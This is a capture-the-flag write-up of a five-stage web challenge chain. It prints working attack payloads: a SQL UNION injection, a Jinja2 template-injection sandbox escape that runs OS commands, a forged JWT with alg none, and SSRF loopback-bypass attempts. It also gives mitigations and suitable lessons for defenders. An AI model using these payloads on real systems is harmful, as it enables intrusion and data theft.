Writeup · Cyberweek Africa 2026 - National CTF (Finals)

Gateway

webmediumpartialFlag: FLAG{REDACTED}

Overview

Together 1: Gateway — a chain of 5 portals (8030→8031→8032→8033→8034). Each portal gives its flag and keys to the next.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

Recon — Stage 1: Gateway (Parts catalogue) — SOLVED

Goal: Perform SQL injection on the parts catalogue search endpoint.

The search endpoint builds its query by string concatenation:

SELECT id, name FROM parts WHERE name LIKE '%<input>%'

(SQLite — confirmed by error message on a raw quote.)

SQL injection via UNION:

q = %' UNION SELECT k,v FROM secrets --

Dumped the secrets(k, v) table:

k v
stage1_flag FLAG{REDACTED}
portal2_user mailer_svc
portal2_pass Sp00l-M4il-2026
portal2_url hxxp://localhost:8031

Keys to Stage 2 obtained.

Exploitation — Stage 2: Mailer (SSTI → RCE) — SOLVED

Goal: Sign in as mailer_svc / Sp00l-M4il-2026 and exploit SSTI on the preview endpoint.

Signed in with mailer_svc / Sp00l-M4il-2026 at POST /api/login.

The POST /api/preview endpoint renders templates with render_template_string(tpl) → Server-Side Template Injection (Jinja2). {{7*7}} → 49.

Sandbox escape via the cycler jinja2 utility:

{{ cycler[.]__init__[.]__globals__[.]__builtins__[.]__import__("os")[.]popen('id')[.]read() }}

→ uid=999(app) gid=999(app) — full RCE.

__builtins__.__import__("os") was directly accessible (also os in globals). Read the environment:

Var Value
FLAG FLAG{REDACTED}
NEXT_URL hxxp://localhost:8032
NEXT_USER vault_op
NEXT_PASS V4ult-K3ep3r-77

Keys to Stage 3 obtained.

Step 3 — Vault (JWT none alg confusion) — SOLVED

Goal: Sign in as vault_op / V4ult-K3ep3r-77 and forge an admin token using JWT alg: none.

Signed in with vault_op / V4ult-K3ep3r-77 at POST /api/login. Returned JWT:

{"user":"vault_op","role":"viewer"}  (HS256)

GET /api/records requires role=admin; viewer gets admin role required.

Forged admin token using JWT alg: none:

{"alg":"none","typ":"JWT"}[.]{"user":"vault_op","role":"admin"}[.]

Accepted by the server. GET /api/records returned:

Field Value
stage3_flag FLAG{REDACTED}
portal4_user fetch_svc
portal4_pass F3tch-Pr0xy-9x
portal4_url hxxp://localhost:8033
vault unlocked

Keys to Stage 4 obtained.

Step 4 — Fetcher (SSRF) — BLOCKED BY ENVIRONMENT

Goal: Use SSRF to reach the loopback-restricted /internal/handoff.

Signed in with fetch_svc / F3tch-Pr0xy-9x at POST /api/login.

POST /api/fetch {"url":"..."} — server-side request fetch. Confirmed working (fetched example.com, metadata service 169[.]254[.]169[.]254, other chal2 ports via public hostname).

The valuable target is GET /internal/handoff, which returns Stage 4’s flag + Stage 5 creds, but it enforces:

request[.]remote_addr must be loopback

Direct access from my IP → 403 {"error":"handoff is restricted to loopback","seen_from":"102[.]214[.]72[.]50"}.

Blocker: The fetcher’s egress firewall drops all loopback (127.0.0.0/8) and RFC1918 traffic (connection timeout). Every loopback bypass failed:

  • 127[.]0[.]0[.]1, localhost, localtest[.]me, ipv4[.]localhost, [::1], octal/hex/decimal IP forms, @-userinfo, %0a, trailing dots, hxxps://, 0[.]0[.]0[.]0, [::]
  • Public redirectors (httpbin blocks internal targets; Google/DDG/jina return errors/403)

The fetcher CAN reach the public hostname (chal2[.]hackathon[.]ke:8033/internal/handoff), but that arrives with a public remote_addr → 403.

Result: Stage 4 flag + Stage 5 creds are in /internal/handoff, unreachable via SSRF in this environment.

Flag / Flags Obtained

Stage Portal Flag
1 Gateway (8030) FLAG{REDACTED}
2 Mailer (8031) FLAG{REDACTED}
3 Vault (8032) FLAG{REDACTED}
4 Fetcher (8033) (blocked — loopback SSRF dropped by egress FW)
5 Core (8034) (blocked — needs Stage 4 creds)

3 of 5 flags captured. Stages 4–5 require reaching the loopback-restricted /internal/handoff via the fetcher SSRF, which the environment’s egress firewall prevents.

Lessons / Takeaways

  • SQL injection via string concatenation still works in SQLite portals; UNION-based extraction dumps secret tables.
  • Jinja2 render_template_string with user input is SSTI; the cycler sandbox escape gives RCE.
  • JWT alg: none is trivially forgeable — enforce algorithm allow-lists server-side.
  • SSRF to loopback is often blocked by egress firewalls; confirm before planning a chain.

Mitigations

  • Use parameterised queries to prevent SQL injection.
  • Never render user input with render_template_string; use template variables and sandboxing.
  • Enforce JWT algorithm allow-lists; reject alg: none.
  • Do not rely on loopback-only access control for SSRF-prone endpoints; add proper authentication/authorisation.

Techniques

  • SQL Injection
  • Server-Side Template Injection
  • JWT None Algorithm
  • Server-Side Request Forgery

References